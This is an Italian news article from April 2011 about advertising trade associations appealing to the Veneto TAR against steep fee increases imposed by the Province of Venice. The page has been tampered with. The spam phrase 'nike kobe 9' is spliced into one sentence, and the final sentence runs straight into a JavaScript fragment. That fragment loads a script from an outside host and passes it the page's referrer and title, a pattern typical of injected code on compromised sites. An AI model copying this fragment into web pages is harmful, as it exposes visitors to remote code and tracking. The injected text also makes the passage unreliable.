Provincia di Venezia. AIFIL e le altre associazioni di categoria insorgono con ricorso al TAR Veneto contro il nuovo tariffario canoni provinciali.

di Francesco Laruffa - 07 aprile 2011
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Provincia di Venezia. Durante l’incontro del 21 marzo 2011 AIFIL e le altre associazioni di categoria (AICAP, ANACS, ASSOCAAP) hanno illustrato all’Assessore Prataviera, ai dirigenti e ai funzionari responsabili, le ragioni della loro protesta. I tempi ristretti della trattativa e l’imminente scadenza del termine per la proposizione del ricorso al TAR, hanno reso inevitabile il contenzioso giudiziario.

Le Associazioni hanno reagito duramente con ricorso al TAR al nuovo tariffario provinciale sui canoni pubblicitari deliberato a fine anno. Gli aspetti critici del tariffario, con efficacia dal 1 gennaio 2011, concernono da un lato un generale sostanzioso incremento (dal 200 al 500% a seconda della tipologia di impianto) e, dall’altro, l’applicazione di canoni anche per il rilascio di semplice nulla osta e la richiesta di canone per le insegne di esercizio prima esentate, anche sulla base di precedenti giurisprudenziali.

Tali aspetti sono stati discussi nel corso dell’incontro che si è tenuto presso la sede dell’Amministrazione provinciale il 21 marzo 2011 dai rappresentanti delle Associazioni di categoria e da alcuni operatori pubblicitari direttamente coinvolti.

All’incontro erano presenti per la Provincia l’Assessore alla Viabilità, Dott. Emanuele Prataviera, il Segretario del Presidente, Dott. Ornello Teso, la Dirigente di Settore, Ing. Alessandra Grosso, il funzionario responsabile del servizio, Ing. Francesco Schiavone, il responsabile del procedimento, P.I. Gabriele Bolzoni, l’Istruttore tecnico, Geom. Andrea Gavagnin e per il settore Avvocatura provinciale, l’Avv. Roberta Brusegan. Per le Associazioni di categoria, oltre allo scrivente, la Signora Sonia Stefanello per AIFIL, il Dott. Luca Zani per Assocaap, il Sign. Daniele Roncen per ANACS, il Sign. Roberto Cava per AICAP ed alcuni rappresentanti di aziende non associate.

Le associazioni hanno illustrato con dovizia di particolari e con nike kobe 9 documenti probatori l’eccessiva onerosità dei canoni che non sono, inoltre, in linea con quelli di altre amministrazioni provinciali e con quelli dell’ANAS la quale, fra l’altro, vanta la presenza di strade molto importanti dal punto di vista viabilistico e quindi commerciale rispetto a quelle provinciali.

I canoni hanno subito, rispetto al 2010, un incremento medio del 200% con punte per talune tipologie di pubblicità anche del 500%. Un tale incremento mette in ginocchio l’economia delle piccole e medie imprese pubblicitarie le quali, pur addebitando il canone ai clienti finali, si vedrebbero disdettati i contratti in corso e non più rinnovati quelli in scadenza da parte dei propri inserzionisti.

Inoltre l’incremento esponenziale delle tariffe interviene in un momento di generale crisi economica e va ad incidere oltre che sull’operatore pubblicitario anche sul tessuto economico locale dell’utenza finale, per lo più piccole attività artigianali e commerciali, la quale sarebbe costretta a rinunciare all’unica forma di pubblicità alla stessa accessibile dal punto di vista economico.

L’argomento canoni è ancor più delicato quando parliamo di insegne di esercizio per le quali, non essendo mezzi pubblicitari nel senso specifico del termine, il canone non è mai stato richiesto fuori dai centri abitati e, a maggior ragione, non è mai stato applicato all’interno dei centri abitati laddove la Provincia rilascia un semplice Nulla osta Tecnico alla collocazione dell’insegna.

L’Amministrazione provinciale invoca a proprio favore una recente interpretazione Ministeriale sull’argomento la quale, tuttavia, non solo contraddice un precedente parere Ministeriale ma si pone altresì in contrasto con la Giurisprudenza in materia, fra l’atro ottenuta proprio contro la Provincia di Venezia.

Oltretutto il parere, di cui alleghiamo copia, è stato reso sulla base di un quesito non ancora in nostro possesso di cui abbiamo chiesto copia, certamente (ciò è stato confermato dai funzionari della Provincia) senza aver illustrato nel quesito l’esistenza dei precedenti giurisprudenziali a nostro favore.

Per converso, il nostro parere Ministeriale, utilizzato in passato per altri ricorsi (da cui sino scaturite poi le sentenze del TAR, è molto più chiaro e non lascia spazio a possibili interpretazioni differenti.

La domanda è d’obbligo: come può il Ministero delle Infrastrutture contraddire se stesso ?

Purtroppo a volte accade ed in questi casi la parola finale passa al Giudice, nel nostro caso il TAR Veneto.

La risposta della Provincia ad una possibile soluzione conciliativa, che non escludiamo, anzi auspichiamo, ad oggi non è ancora arrivata (sappiamo che la Giunta Provinciale è molto combattuta sulla soluzione da adottare) e., con il “senno di poi”, possiamo confermare la bontà della nostra strategia difensiva: quella di non far scadere il termine del ricorso al TAR in quanto, oggi, con il tariffario definitivo e non più impugnabile, l’Amministrazione provinciale sarebbe nelle trattative certamente in una posizione di maggiore forza.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

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